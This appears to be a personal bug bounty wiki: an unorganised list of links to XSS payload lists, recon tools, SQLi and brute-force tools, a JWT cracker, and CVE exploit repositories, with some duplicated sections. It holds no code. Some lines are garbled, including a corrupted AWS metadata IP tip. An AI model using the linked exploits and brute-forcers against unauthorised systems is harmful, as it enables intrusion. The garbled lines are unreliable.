https://www.kitploit.com/2018/05/xss-payload-list-cross-site-scripting.html\n  What is the best method to use dalfox?? https://attacker-codeninja.github.io/2021-09-09-portswigger-notes-on-host-header-attack/\n  https://github.sre.pub/topics/xss-scanners\n  https://medium.com/@skavans_/the-unobvious-about-xss-and-html-encoding-4e0d536a35d9\n  Al the ways you can alert js -> https://gist.github.com/tomnomnom/14a918f707ef0685fdebd90545580309\n  https://github.com/wisec/domxsswiki/wiki\n  https://github.sre.pub/topics/xss-scanners\n  https://owasp.org/www-community/attacks/xss/\n  Moving beyond alert()xss https://av.tib.eu/media/49191\n  https://unescape-room.jobertabma.nl/\n  https://infosecwriteups.com/reflected-xss-on-microsoft-com-subdomains-4bdfc2c716df\n  https://github.com/danielthatcher/Cookieless-Session-Scanner session is for identifying xss as described here   https://blog.isec.pl/all-is-xss-that-comes-to-the-net/\n\nXSS Labs\nhttps://google-gruyere.appspot.com/\n\n\n\nScreenshots\nhttps://github.com/detectify/page-fetch/fork\n\nEyeballer\nhttps://github.com/BishopFox/eyeballer <----- TODO BIG IG and [this](https://www.kaggle.com/datasets/altf42600/pentest-screensots)\nhttps://www.akamai.com/blog#HTTP2rs\nhttps://www.jhaddix.com/post/tooltime-2-ssl-certificate-parsers-for-recon\nRecon\nNotify -bulk - workflow to funnel everything to Notify https://youtu.be/v7FMPU3J3Qw?t=3044\nReconFTW Automation - https://youtu.be/v7FMPU3J3Qw?t=2841\nAutomation - what to do with all the subdomains  endpoints you found! https://youtu.be/v7FMPU3J3Qw?t=1864\n\nTools\nhttps://reconshell.com/awesome-bug-bounty-tools/\nhttps://reconshell.com/mobile-hackers-weapons/\nhttps://book.hacktricks.xyz/todo/more-tools\nhttps://github.com/fardeen-ahmed/Bug-bounty-Writeups#-bug-bounty-tools---\nhttps://github.com/vavkamil/awesome-bugbounty-tools#Recon\nImage upload\nhttps://github.com/barrracud4/image-upload-exploits\nhttps://hackbotone.com/blog/essential-recon-tools/\nhttps://github.com/danielthatcher/spydom\nhttps://allciber.com/web-attack-cheat-sheet/\n\nAlias / Snippet / Command Management\nhttps://github.com/nahamsec/recon_profile\nhttps://github.com/hahwul/hack-pet/commit/6405608c856551d241174d8c839c79efdff5153c\nhttps://github.com/hahwul/hack-pet\nhttps://github.com/knqyf263/pet\n\n\nhttps://github.com/anshumanbh/brutesubs\nhttps://github.com/VainlyStrain/Vailyn\n\nRECON\nhttps://gist.github.com/khanjanny/039d7c7d825a866b9020e3945e04ace9\nhttps://github.com/KathanP19/HowToHunt\nhttps://prettyrecon.com/auth/forgot_password/\n\nTweets Dorks\nhttps://twitter.com/hashtag/bugbountytips\nhttps://twitter.com/search?q=%23bugbountytips&cn=ZmxleGlibGVfcmVjcw%3D%3D&refsrc=email\nhttps://twitter.com/ghostlulz1337\n\nhttps://www.google.com/search?client=firefox-b-1-d&q=site%3Agist.github.com+%22dalfox%22+automate\nhttps://gist.github.com/sec99\nhttps://gist.github.com/Bedrovelsen/starred\nhttps://gist.github.com/tranphuoctien/47c1242c8189b42fb4d268c548db4526\nhttps://gist.github.com/GrahamcOfBorg/601b9608c6010d9c82cf0e9535faac4b\nhttps://gist.github.com/babaloveyou\nhttps://www.google.com/search?client=firefox-b-1-d&q=bug+bountny+automation\nhttps://www.reddit.com/r/bugbounty/comments/nkaz32/automation_for_bug_bounty_recon_framework/\nhttps://github.com/dirsoooo/Recon\nhttps://gowthams.gitbook.io/bughunter-handbook/automation\n\n\nCrawlers / Crawling\nhttps://github.com/Echocipher/HackeroneSpider\nxnLinkFinde\nhttps://github.com/spatie/crawler\nhttp://www.robotstxt.org/\nhttps://github.com/BruceDone/awesome-crawler\nhttps://github.com/tijme/not-your-average-web-crawler\nhttps://github.com/ghostlulzhacks/crawler\nhttps://scotthelme.co.uk/top-1-million-analysis-march-2020/\n\nhttps://crawler.ninja/\n\n  \n\n\nSqli\n  https://sapt.medium.com/sqli-on-a-bugcrowd-private-program-17858b57ec61\n  http://sqlninja.sourceforge.net/download.html\n  https://w3af.org/howtos/find-cross-site-scripting-and-sql-injections\n  https://www.securedyou.com/how-to-hack-sql-database-password-cracking/\n  https://www.securedyou.com/download-havij-free-automated-sql-injection-tool/\n\nsqlmap\n  https://h1pmnh.github.io/post/advanced-sqlmap-case-study-1\n\nDefault Credentials \nhttps://github.com/Excloudx6/WebCrack\n  The Open Cloud Vulnerability & Security Issue Database  https://www.cloudvulndb.org/\n  \n  https://github.com/SummitRoute/csp_security_mistakes\n  Default Cred Scanner https://github.com/ztgrace/changeme\n  \n\n  \nFile Upload\nhttps://sm4rty.medium.com/hunting-for-bugs-in-file-upload-feature-c3b364fb01ba\nhttps://github.com/almandin/fuxploider - File upload vulnerability scanner and exploitation tool. \n\n\nMonitor Server Status\nhttps://github.com/sudo-jtcsec/server-status-mon\nhttps://github.com/Excloudx6/server-status_PWN\n\nTmux https://github.com/Excloudx6/clips\n# My Bug Bounty Wiki Page\nhttps://github.com/MrM8BRH/SuperLibrary\nhttps://github.com/zeroc00I/ReconNotes\n   https://gist.github.com/ruevaughn/71c31d7f67b7d105d9f480489e02c906\n\n\nA-Z Sorting in progress\nAwsCli https://aws.plainenglish.io/aws-s3-cli-cheatsheet-9078366fca83\nWelcome to my Bug Bounty Wiki page. It's currently not organized or cleaned up at all though that's a WIP. Originally was where I was dumping links and things I needed to rememnber.\nNews Articles\nhttps://www.bbc.com/news/technology-43581624\n\nhttps://bugs.chromium.org/p/project-zero/issues/detail?id=1524\n\nDeserialisation\nDeserialization example <-https://youtu.be/oUAeWhW5b8c?t=1583\nAnother Deserialization example https://youtu.be/eDfGpu3iE4Q?t=266\nhttps://github.com/GerbenJavado/LinkFinder\nhttps://medium.com/@duhroach/how-png-works-f1174e3cc7b7\n\n\nhttps://github.com/beurtschipper/Depix <-- unblur \n\n### A\n\nTwitter\nhttps://mobile.twitter.com/drunkrhin0/status/1344130730947825664\n\n\nhttps://kathmandupost.com/science-technology/2021/04/06/we-dream-to-be-nepal-s-first-billion-dollar-it-company\nhttps://reconwithme.com/\n\nhttps://jaeles-project.github.io/\n\nAPIs\nHuge API Resources list! https://dsopas.github.io/MindAPI/references\nhttps://thexssrat.podia.com/view/courses/free-api-testing-and-securing-guide/923506-api-top-10-videos/2699995-owasp-api-top-10-a0-to-a3\n\nhttps://www.hahwul.com/2019/07/01/easy-security-testing-with-applications-bridge-in-zap/\nhttps://github.com/PortSwigger\n\n### B\nBooks https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/BOOKS.md\nhttps://cheatsheetseries.owasp.org/cheatsheets/Authorization_Testing_Automation_Cheat_Sheet.html\nhttps://guidesmiths.github.io/cybersecurity-handbook/resources\nhttps://guidesmiths.github.io/cybersecurity-handbook/tooling\n\n\nhttps://github.com/1N3/Sn1per/blob/master/modes/normal_webporthttp.sh\nBlogs\nhttps://opsecx.com/index.php/category/blog/\n\n\nUrl FInder\nhttps://www.kitploit.com/2021/08/sigurlfind3r-reconnaissance-tool-it.html\n\n403 Bypasser\nhttps://www.kitploit.com/2021/11/4-zero-3-403401-bypass-methods-bash.html\nhttps://www.kitploit.com/2021/09/403bypasser-automates-techniques-used.html\n\nOauth\n#### Oauth Bug Bounty Cheatheet\nhttps://0xn3va.gitbook.io/cheat-sheets/web-application/oauth-2.0-vulnerabilities\nhttps://anil-pace.medium.com/json-web-tokens-vs-oauth-2-0-85dd0b32057d\n\nEmail\nhttps://www.ibm.com/docs/en/sqsp/32.0?topic=SSBRUQ_32.0.0/com.ibm.resilient.doc/install/resilient_install_defang s.htm\n\nNuclei\nNuclei : A Bug Bounty Tool https://www.youtube.com/watch?v=ZcG8ARatgs0\nhttps://www.reddit.com/r/infosec_daily/comments/lrz9bg/nuclei_tool_review/\nFinding bugs with Nuclei with PinkDraconian (Robbe Van Roey) https://www.youtube.com/watch?v=ewP0xVPW-Pk\n\nNuclei templates\nhttps://github.com/xm1k3/cent <-- manage nuclei tempaltes and ibg list of templateseeeeeeeeeeeeeeeeeee\nhttps://github.com/aboul3la/nuclei-templates\nhttps://github.com/projectdiscovery/nuclei-templates/compare/master...s4e-labs:nuclei-templates:master\nhttps://github.com/projectdiscovery/nuclei-templates/discussions/693\nhttps://nuclei-templates.netlify.app/\n\ncool\nhttps://github.com/nikitastupin/param-miner-doc\n\n\nrxrdxrhttps://platforms.disclose.io/\nhttps://cardanofeed.com/cardano-doubled-the-rewards-for-its-bug-bounty-program-49977.html\nhttps://portswigger.net/daily-swig/bug-bounty-radar-the-latest-bug-bounty-programs-for-march-2022\nhttps://portswigger.net/daily-swig/cloudflare-bug-bounty-program-goes-public-with-3-000-rewards-on-offer\n\n\n### C\n\nFuzzing\nhttps://thugcrowd.com/kiosk/ Badass Fuzzing tools / Resources\nhttps://0xn3va.gitbook.io/cheat-sheets/resources/software/fuzzing\n\nBug Bounty Videos\nMix - webpwnized https://www.youtube.com/watch?v=Y_2JVREtDFk&list=RDCMUCPeJcqbi8v46Adk59plaaXg&start_radio=1\nBreaking Parser Logic: Take Your Path Normalization off and Pop 0days Out! - https://www.youtube.com/watch?v=CIhHpkybYsY&t=2s\nVideos\n  HackTube5 Youtube https://www.youtube.com/channel/UCiiEXWVI8XDV_SbIOYVuKog\n  GynvaelEN https://www.youtube.com/user/GynvaelEN\n  Hacktify https://www.youtube.com/channel/UCS82DNnKOhXHcGKxGzQvNSQ\n  Hack the Box Youtube https://www.youtube.com/channel/UCi67lRCd5qpaHwSXNJisuRQ\n  Hackerone https://www.youtube.com/channel/UCsgzmECky2Q9lQMWzDwMhYw\n  Hackersploit https://www.youtube.com/channel/UC0ZTPkdxlAKf-V33tqXwi3Q\n  Hacking Simplified https://www.youtube.com/channel/UCARsgS1stRbRgh99E63Q3ng\n  Hacking Simplifed (smaller channel) https://www.youtube.com/channel/UCTIHXPYJ4gT7PBQK9tUmFJA\nhttps://administraitor.video/edition/Hack.lu/2019\n\nhttps://portswigger.net/news\n\nNotify - https://youtu.be/rbr7ZmBI9qs?t=278\n\nhttps://www.youtube.com/watch?v=kbi2KaAzTLg\n\nWhat after Recon? - Sup Subdomains?!\n\n\nDORK\n  https://exposingtheinvisible.org/guides/google-dorking/\nhttps://www.google.com/imgres?imgurl=https%3A%2F%2Fpbs.twimg.com%2Fmedia%2FEf6ELytWAAAswXx%3Fformat%3Djpg%26name%3D4096x4096&imgrefurl=https%3A%2F%2Fmobile.twitter.com%2Fbugbountyrecon&tbnid=pQu57Q5pha2WIM&vet=12ahUKEwixtNqk0vz1AhV0IX0KHWddCpQQMygLegUIARC-AQ..i&docid=NghhHzdXU7Ey8M&w=2480&h=1302&q=Bug%20bounty%20automation%20GitHub&client=firefox-b-1-d&ved=2ahUKEwixtNqk0vz1AhV0IX0KHWddCpQQMygLegUIARC-AQ\nhttps://github.com/bughunterlabs/open-bounty-targets/blob/main/dorks.txt\n\nReporting\nhttps://hacktify.in/bugbounty/ <---- lots of resources for reporting\n\n\n#### Ruby on Rails\nhttps://hackerone.com/reports/904059\nhttps://hackerone.com/reports/1400309\nhttps://github.com/httpvoid/writeups/blob/main/Ruby-deserialization-gadget-on-rails.md\nhttps://bugbountyforum.com/resources/#ruby-on-rails\n\nFree Shodan key and nmap automatin script to search for big f5 ip acve\nhttps://learn.hacktify.in/courses/take/bug-bounty-hunting-and-penetration-testing/lessons/16862042-assets-resources\nhttps://github.com/shifa123/f5BigIPExploit/blob/master/assets\ndnmap\nhttps://github.com/vdjagilev/nmap-formatter\nhttps://www.darknet.org.uk/2016/07/dnmap-distributed-nmap-framework/?utm_source=pocket-ff-recs\nhttps://github.com/alt3kx/CVE-2021-21985_PoC/blob/main/CVE-2021-21985.nse\n# https://github.com/RootUp/PersonalStuff/blob/master/http-vuln-cve-2021-41773.nse\n# https://github.com/RootUp/PersonalStuff/blob/master/http-vuln-cve2020-3452.nse\naquatone - https://gist.github.com/random-robbie/beae1991e9ad139c6168c385d8a31f7d\nhttps://www.tib.eu/en/publishing-archiving/research-data\nhttps://github.com/erbbysam/Hunting-Certificates-And-Servers/blob/master/Hunting%20Certificates%20%26%20Servers.pdf\nBug Bouty Programs\nhttps://cheatsheetseries.owasp.org/cheatsheets/Authorization_Testing_Automation_Cheat_Sheet.html\nhttps://guidesmiths.github.io/cybersecurity-handbook/resources\nhttps://guidesmiths.github.io/cybersecurity-handbook/tooling\n\n\nrxrdxrhttps://platforms.disclose.io/\nhttps://cardanofeed.com/cardano-doubled-the-rewards-for-its-bug-bounty-program-49977.html\nhttps://portswigger.net/daily-swig/bug-bounty-radar-the-latest-bug-bounty-programs-for-march-2022\nhttps://portswigger.net/daily-swig/cloudflare-bug-bounty-program-goes-public-with-3-000-rewards-on-offer\n\nhttps://hackerone.com/alipay?type=team\nhttps://render.alipay.com/p/c/183ecyeztvuo/dana-pay.html\n\nDisclosure Assistance w/ Hackerone https://hackerone.com/disclosure-assistance/disclosure_assistance_requests/new?type=team\n* [Disclose.io - program List Data](https://raw.githubusercontent.com/disclose/diodb/master/program-list.json)\n\nhttps://github.com/detectify/cs-challenge\nhttps://github.com/bughunterlabs/open-bounty-targets/blob/main/dorks.txt\n\nVDP\nDutch Gov - bug bounty scope https://gist.github.com/ruevaughn/f2d1157598a6156c3d51538b3fbd980c\nhttps://www.justice.gov/criminal-ccips/page/file/983996/download\n\"Bug Bounty programs|VDP|launch\" -> Google News etc\n\n\n\n#### J\n\n\n#### L\n\nLabs\n\nLinux\nhttps://linuxsecurity.expert/resources/\n\n#### M\n\nMonitoring\nhttps://github.com/dgtlmoon/changedetection.io Monitor Website Changes\n\n### P\n\n#### Podcasts\nLinks here -> https://blog.intigriti.com/2019/11/12/bug-bytes-44-new-platform-new-programs-and-a-e25k-head-csrf/\nSelfHosted Podcast https://selfhosted.show/60?t=777\n\nPrograms\nhttps://github.com/bughunterlabs/open-bounty-targets/blob/main/dorks.txt\n\n### R\n#### \n#### Reverse Shells\n\n### Rate Limit\n\n\n### T\nTop 10\n\nDNS Hijacking\nhttps://www.cloudflare.com/en-ca/learning/security/global-dns-hijacking-threat/\nhttps://github.com/mdsecresearch/Publications/blob/master/presentations/Offensive%20Development%20-%20Post-Exploitation%20Tradecraft%20in%20an%20EDR%20World%20-%20x33fcon%202020.pdf\n\nIDN Homograph\nhttps://www.akamai.com/blog/security/watch-your-step-the-prevalence-of-idn-homograph-attacks\n\n\n#### Tools\nhttps://www.xmind.net/m/Xy7XEW/# <----- \nhttps://github.com/Excloudx6/PentestTools#exploitation-tools\nhttps://linuxsecurity.expert/security-tools/top-100/\nhttps://intelx.io/tools\nhttps://github.com/nccgroup/ScoutSuite/tree/master/tools\nClean Ips Script\nhttps://gist.github.com/LuD1161/bd4ac4377de548990b47b0af8d03dc78\n### D\nhttps://github.com/nccgroup/tracy\n\n#### Todo\nhetty.xyz\nhttps://www.bugbountyhunting.com/\n    \nhttps://github.com/KingOfBugbounty/KingOfBugBountyTips#scan-log4j-using- -and-log4j-scan\nhttps://medium.com/hacking-info-sec/how-to-install-and-use-bbrf-35f6aa15fbc9\n\nhttps://github.com/Excloudx6/Guide-to-SSRF\nhttps://github.com/alphaSeclab/sec-daily-2020\nhttps://github.com/KathanP19/HowToHunt/blob/master/CheckList/mindmap.png\nhttps://github.com/topics/bugbounty\nhttps://gist.github.com/R0X4R/bc08d55e368965f22c0b41ee8475ba87\nSSRF\nhttps://cheatsheetseries.owasp.org/assets/Server_Side_Request_Forgery_Prevention_Cheat_Sheet_SSRF_Big.pdf\nNmap\nhttps://github.com/killswitch-GUI/PenTesting-Scripts/blob/master/Nmap-Strings\nhttps://www.bugcrowd.com/blog/getting-started-bug-bounty-hunter-methodology/\nhttps://github.com/SmeegeSec/Security_Headers_Nmap_Parser\n\nssh bruting\n A simple multi-threaded distributed SSH brute-forcing tool written in Python  https://github.com/k4yt3x/orbitaldump\nhttps://github.com/d3vilbug/Brutal_SSH\n\nxsshunter\nhttps://github.com/mystech7/xsshunter - duplicate within 15 min check added\n\nhttps://gosecure.github.io/security-cheat-sheet/\n\n\nhttps://twitter.com/e11i0t_4lders0n/status/1489234267687497735\nhttps://snyk.io/log4j-vulnerability-resources/\n\n\n\nhttps://gist.github.com/sminez/571bd7bafb1b88630b85c85a0cd66e3a - grep through this\ntry\nhttps://github.com/arjunshibu/gcmd\n\nhttps://splash.readthedocs.io/en/stable/scripting-tutorial.html#scripting-tutorial\nhttps://github.com/phlmox\n\nRecon\n  https://github.com/Viralmaniar/BigBountyRecon\nhttps://www.kitploit.com/2021/10/webdiscover-purpose-of-this-script-is.html\nhttps://www.cobalt.io/blog/scope-based-recon-smart-recon-tactics\n\nChecklists\nhttps://gist.github.com/jhaddix/6b777fb004768b388fefadf9175982ab\nhttps://github.com/KathanP19/HowToHunt/blob/master/CheckList/Web_Checklist_by_Chintan_Gurjar.pdf\nhttps://blog.assetnote.io/2021/01/13/blind-ssrf-chains/\nhttps://gist.github.com/pdelteil/ba005609789ae14862f023da4191826d\nhttps://github.com/rails/rails/issues/37620\nSUBDOMAIN TAKEOVERS\nhttps://kathan19.gitbook.io/howtohunt/subdomain-takeover/easy_methods\nhttps://www.udemy.com/course/cloud-hacking/learn/lecture/8613164?start=0#overview\nhttps://github.com/indianajson/can-i-take-over-dns\n\n\nhttps://scotthelme.co.uk/top-1-million-analysis-march-2020/\n\nFINISH Watching - https://www.youtube.com/watch?v=12gtkYbMGd4&t=362s\nHARSHBROTHA - https://www.youtube.com/watch?v=UrdvDCb4Gz8\nNOTIFY - https://www.youtube.com/watch?v=rbr7ZmBI9qs\nHandle your data carefully https://www.y\noutube.com/watch?v=rbr7ZmBI9qs\n\nUserAgents\nhttps://github.com/Shaked/user-agents\nhttps://github.com/BbhunterOne/ReconChef/blob/main/recon.sh#L82\n\nScreenshots\nhttps://github.com/spatie/browsershot\n# https://github.com/maaaaz/webscreenshot\nhttps://random-robbie.github.io/bugbounty-scans/\nhttps://buaq.net/go-99375.html\nhttps://stackoverflow.com/questions/5258977/are-http-headers-case-sensitive?rq=1\n\ncheatsheets\nhttps://0xn3va.gitbook.io/cheat-sheets/\nhttps://0xn3va.gitbook.io/cheat-sheets/web-application/http-request-smuggling\n   _   _   _   _   _   _   _   _   _   _  \n  / \\ / \\ / \\ / \\ / \\ / \\ / \\ / \\ / \\ / \\ \n ( F | R | A | M | E | W | O | R | K | S )\n  \\_/ \\_/ \\_/ \\_/ \\_/ \\_/ \\_/ \\_/ \\_/ \\_/ \n\n+ ------ +\n |Articles|\n + ------ +\n\n* E.crack jwt - https://github.com/brendan-rius/c-jwt-cracker\n\nhttps://github.com/SecureAuthCorp/impacket\nNeo4j vs postgres (graphdb)\nhttps://edoverflow.com/2019/ci-knew-there-would-be-bugs-here/\n\nAutomation script \nhttps://www.benteveo.kiwi/blog/automating-bug-bounties\nhttps://github.com/AlexisAhmed/BugBountyToolkit <-- docker \nhttps://gowthams.gitbook.io/bughunter-handbook/automation\n\n\nSecret\nhttps://www.directdefense.com/csrf-in-the-age-of-json/\n\nhttps://buaq.net/go-249.html\n\nIntentionally Vulnerable Github repo\nhttps://github.com/shifa123/githubleak\n\nhttps://wiki.owasp.org/index.php/OWASP_Testing_Guide_v4_Table_of_Contentsfff\nhttps://pentestbook.six2dez.com/\nhttps://github.com/m4ll0k\nhttps://github.com/six2dez\nhttps://github.com/darklotuskdb/CISCO-CVE-2020-3452-Scanner-Exploiter\nhttps://github.com/shifa123\nhttps://www.udemy.com/course/web-application-ethical-hacking/learn/lecture/3305350?start=0#overview\n\n## BugBounty Programs\n---\nhttps://huntr.dev/\nhttps://www.zerodayinitiative.com/\nhttps://greedybucks.medium.com/bug-bounty-programs-beginners-should-try-fe51cebe52a5\nhttps://opensourcelibs.com/lib/google-acquisitions\nhttps://opensourcelibs.com/libs/bugbounty\nList of .gov\n\nTatget crypto https://arlolra.github.io/otr/\nhttps://github.com/cisagov/dotgov-data\n[FireBounty](https://firebounty.com) The Ultimate Vulnerability Disclosure Program. FireBounty, aggregate your bounty.\n[Disclose.io](https://disclose.io/programs/) We're here to make vulnerability disclosure safe, simple, and standardized for everyone.\n[Security Ninja txt valuess list](https://crawler.ninja/files/security-txt-values.txt)\n[Security Ninja Files List](https://crawler.ninja/files/)\n\nhttps://allabouttesting.org/\n\nTodo:\nhttps://boards.greenhouse.io/cobaltio/jobs/4141074002 <--- solve challenge\n\n\nCheatSheets\nhttps://github.com/six2dez/bitup2021_subdominions/blob/main/Cheatsheet.md\n\n\n\n\nAutomated Scanners\n\n* [Zeus-Scanner](https://github.com/Ekultek/Zeus-Scanner)\n* [Dalfox](https://github.com/hahwul/dalfox)\n* [XSSTrike](https://github.com/s0md3v/XSStrike)\n* [SSTI-xssfinder](https://awesomeopensource.com/project/darklotuskdb/SSTI-XSS-Finder?categoryPage=47)\n\n[SSTI-XSS-Finder](https://github.com/darklotuskdb/SSTI-XSS-Finder)\n  * [Learn with @DarkLotusKDB: Recon with Shodan & Spyse,XSS, Bypass OpenRedirects, SSRF, BugBunty Bot!!!](https://www.youtube.com/watch?v=66HqaFCF4Kk)\n  * https://twitter.com/0xJin/status/1470748925963513863\n  * https://twitter.com/0xJin/status/1470748925963513863/photo/1\n\n\nXXE\nhttps://book.hacktricks.xyz/pentesting-web/xxe-xee-xml-external-entity\nhttps://app.intigriti.com/programs/dpgm/libelle/detail\nhttps://web-in-security.blogspot.com/2016/03/xxe-cheat-sheet.html\nhttps://twitter.com/infosec_au/status/1340785029899698181?lang=en\nhttps://web-in-security.blogspot.com/2014/11/detecting-and-exploiting-xxe-in-saml.html\n\nUnderstanding DTD-< https://web-in-security.blogspot.com/2014/11/detecting-and-exploiting-xxe-in-saml.html\n\n\n## Owasp Top 10\n---\nhttps://docs.aws.amazon.com/AmazonCloudFront/latest/DeveloperGuide/WhatsNew.html\n### Clickjacking\nhttps://lcamtuf.blogspot.com/2011/12/x-frame-options-or-solving-wrong.html\nhttps://blog.innerht.ml/page/2/\nhttps://hackerone.com/reports/8724\n\n### CSRF\n    * https://hackerone.com/reports/44146\n   - 7-19-16 \n     * [CSRF attack on paypal.me](https://www.youtube.com/watch?v=RjS47ojRQXk&t=5s)\n     * https://hethical.io/paypal-bug-bounty-updating-the-paypal-me-profile-picture-without-consent-csrf-attack/\n   - 01-18-15 https://hackerone.com/reports/44146(Make API calls on behalf of another user (CSRF protection bypass))\n### XSS\n\nPaid Services\nhttps://findomain.app/#Pricing\n\n## Resources\n---\n\n\nParams\nConfig override using non-validated query parameter allows at least reflected XSS by injecting configuration into state \nhttps://hackerone.com/reports/1082847\n\nFuzzcon & fuzzung\nhttps://twitter.com/hashtag/hacklu?src=hashtag_click\nhttps://github.com/rmusser01/Infosec_Reference/blob/master/Draft/Fuzzing.md\n\nRecoon \neiIaaefwaaa m\nk\n- https://kathan19.gitbook.io/howtohunt/sensitive-info-leaks/shodan_cve_dorks\n\n[PrettyRecon](https://prettyrecon.com/auth/signup)\n\n### Dorks\nhttps://ask.fm/tags/bounty\n\n### Lists\nhttps://github.com/payloadbox/xss-payload-list\n\nProtips and Trips\nMost of the sites use AWS nowadays...\n  AWS localhost is 169.254.169.2qqqd eede                                   4bs.com/2017/02/wallpaper-penetration-testing-and-exploit-dev-cheatsheet/\n\nhttps://githubhelp.com/topic/bugbountytips\n\n\nGithubs\nhttps://github.com/kleiton0x00?tab=stars\nhttps://github.com/fuzz-security\n\n---\n\n  - [Book of secret knowledge](https://github.com/ruevaughn/the-book-of-secret-knowledge)\n  - [Disclose/diodb](https://github.com/disclose/diodb)\n  -\n\n### Streams\n[Nehamsec Twitch](https://www.twitch.tv/nahamsec)\n\n### Twitter Tweetin'\nhttps://twitter.com/0xMstar/status/1464658472981565444{{\nhttps://twitter.com/0xJin/status/1470748925963513863\n\npodcasts\nhttps://open.spotify.com/episode/2VaH6DgbghMEiaimqdxq4Q\n### Data\n---\nBugcrowd Subdomain Enumeration https://www.youtube.com/watch?v=La3iWKRX-tE\n\n\nCVE-2019-11510 Detail \n/dana-na\n\n## CVE/CVD\n---\n\nCVE [2020-3452](https://github.com/darklotuskdb/CISCO-CVE-2020-3452-Scanner-Exploiter)xx\n\n- https://vuls.cert.org/confluence/display/CVD/Executive+Summary\n- https://vuls.cert.org/confluence/display/CVD/Sightings\n\n\n\n\n\nhttps://github.com/detectify/cs-challenge\nhttps://github.com/r3curs1v3-pr0xy\n\nhttps://notsosecure.com/resources\nhttps://reconshell.com/bug-bounty-tips/\n\nhttps://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Subdomains%20Enumeration.md\n[Insecure Deserialization Part 1](https://www.youtube.com/watch?v=SNi7gNkfLSM)\n[Insecure Deserialization part 3](https://www.youtube.com/watch?v=icAKHE-iKOs)\n\nhttps://secoceans.com/blog-2/\nhttps://portswigger.net/research\nhttps://portswigger.net/blog\nhttps://portswigger.net/news\nhttps://portswigger.net/daily-swig\n\n\ncourses\nhttps://www.udemy.com/course/penetration-testing-bug-bounty-hunting-level-2-hacktify/\n\n\n\n\nhttps://spongebhav.medium.com/facebook-group-members-disclosure-e53eb83df39e\nhttps://github.com/six2dez/talks/blob/main/Gotta_ENG.pdf\n\n\n\npackets\nhttps://www.kitploit.com/2018/08/polymorph-real-time-network-packet.html\n\n\nAutomation\nhttps://gowthams.gitbook.io/bughunter-handbook/automation\n[Automated subdomain scanning with Findomain, PostgreSQL and Webhooks](https://medium.com/heck-the-packet/automated-subdomain-scanning-with-findomain-postgresql-and-webhooks-3e74ce9b5372)\n\n\n\nhttps://pentestbook.six2dez.com/\nhttps://github.com/m4ll0k\nhttps://github.com/six2dez\nhttps://github.com/darklotuskdb/CISCO-CVE-2020-3452-Scanner-Exploiter\nhttps://github.com/shifa123\n\nWriteups\n\n\n## BugBounty Programs\n---\n\nhttps://greedybucks.medium.com/bug-bounty-programs-beginners-should-try-fe51cebe52a5\nhttps://opensourcelibs.com/lib/google-acquisitions\nhttps://opensourcelibs.com/libs/bugbounty\nList of .gov\nhttps://github.com/cisagov/dotgov-data\n[FireBounty](https://firebounty.com) The Ultimate Vulnerability Disclosure Program. FireBounty, aggregate your bounty.\n[Disclose.io](https://disclose.io/programs/) We're here to make vulnerability disclosure safe, simple, and standardized for everyone.\n[Security Ninja txt valuess list](https://crawler.ninja/files/security-txt-values.txt)\n[Security Ninja Files List](https://crawler.ninja/files/)\n\nhttps://allabouttesting.org/\n\n\nCheatSheets\nhttps://github.com/six2dez/bitup2021_subdominions/blob/main/Cheatsheet.md\n\n### Z\n\nZap\nhttps://github.com/sepehrdaddev/zap-scripts/fork\nhttps://www.zaproxy.org/authors/thorin/\nhttps://github.com/zaproxy/zap-extensions\n\n\n\nFrameworks\nhttps://core.intrigue.io/\nReconness\nPwnmachine\naxiom\nhttps://www.mandiant.com/\nhttps://trickest.com/\n\n(https://github.com/Findomain/Findomain/releases)\n*   [Configuing Findomain](https://www.youtube.com/watch?v=Wpm2C1LD9ns)\n*   https://github.com/findomain/findomain/blob/master/README.md#subdomains-monitoring\n\nAutomated Scanners\n\n* [Zeus-Scanner](https://github.com/Ekultek/Zeus-Scanner)\n* [Dalfox](https://github.com/hahwul/dalfox)\n* [XSSTrike](https://github.com/s0md3v/XSStrike)\n* [SSTI-xssfinder](https://awesomeopensource.com/project/darklotuskdb/SSTI-XSS-Finder?categoryPage=47)\n\n\n\nhttps://github.com/darklotuskdb/SSTI-XSS-Finder\n  * [Learn with @DarkLotusKDB: Recon with Shodan & Spyse,XSS, Bypass Op enRed irects, SSRF, BugBunty Bot!!!](https://www.youtube.com/watch?v=66HqaFCF4Kk)\n  * https://twitter.com/0xJin/status/1470748925963513863\n  * https://twitter.com/0xJin/status/1470748925963513863/photo/1\n\n\n## Owasp Top 10\n---\n\n### Clickjacking\nhttps://hackerone.com/reports/8724\n\n### CSRF\n    * https://hackerone.com/reports/44146\n   - 7-19-16 \n     * [CSRF attack on paypal.me](https://www.youtube.com/watch?v=RjS47ojRQXk&t=5s)\n     * https://hethical.io/paypal-bug-bounty-updating-the-paypal-me-profile-picture-without-consent-csrf-attack/\n   - 01-18-15 https://hackerone.com/reports/44146(Make API calls on behalf of another user (CSRF protection bypass))\n### XSS\n\nPaid Services\nhttps://findomain.app/#Pricing\n\n## Resources\n---\n[Automated subdomain scanning with Findomain, PostgreSQL and Webhooks](https://medium.com/heck-the-packet/automated-subdomain-scanning-with-findomain-postgresql-and-webhooks-3e74ce9b5372)\n How to view someones IP address and connection speed! https://www.youtube.com/watch?v=SXmv8quf_xM\nRecoon \neiIaaefwaaa m\nk\n- https://kathan19.gitbook.io/howtohunt/sensitive-info-leaks/shodan_cve_dorks\n\n[PrettyRecon](https://prettyrecon.com/auth/signup)\n\n### Dorks\nhttps://ask.fm/tags/bounty\n\n### Lists\nhttps://github.com/payloadbox/xss-payload-list\n\n### Githubs\n---\n\n  - [Book of secret knowledge](https://github.com/ruevaughn/the-book-of-secret-knowledge)\n  - [Disclose/diodb](https://github.com/disclose/diodb)\n  -\n\nActive Directory\nPenttesting Active Directory https://www.xmind.net/m/5dypm8/a\nhttps://adsecurity.org/\n\n### Streams\n[Nehamsec Twitch](https://www.twitch.tv/nahamsec)\nLive Bug Bounty Hunting Speedbiker https://www.youtube.com/watch?v=9W94AKLc5g8\nWatch Live [Current] https://www.youtube.com/c/Ch1R0n1n\n### Twitter Tweetin'\nhttps://twitter.com/samwcyo/status/1529888063576584202\nhttps://twitter.com/sshell_\nhttps://mobile.twitter.com/TechnoTimLive Devops 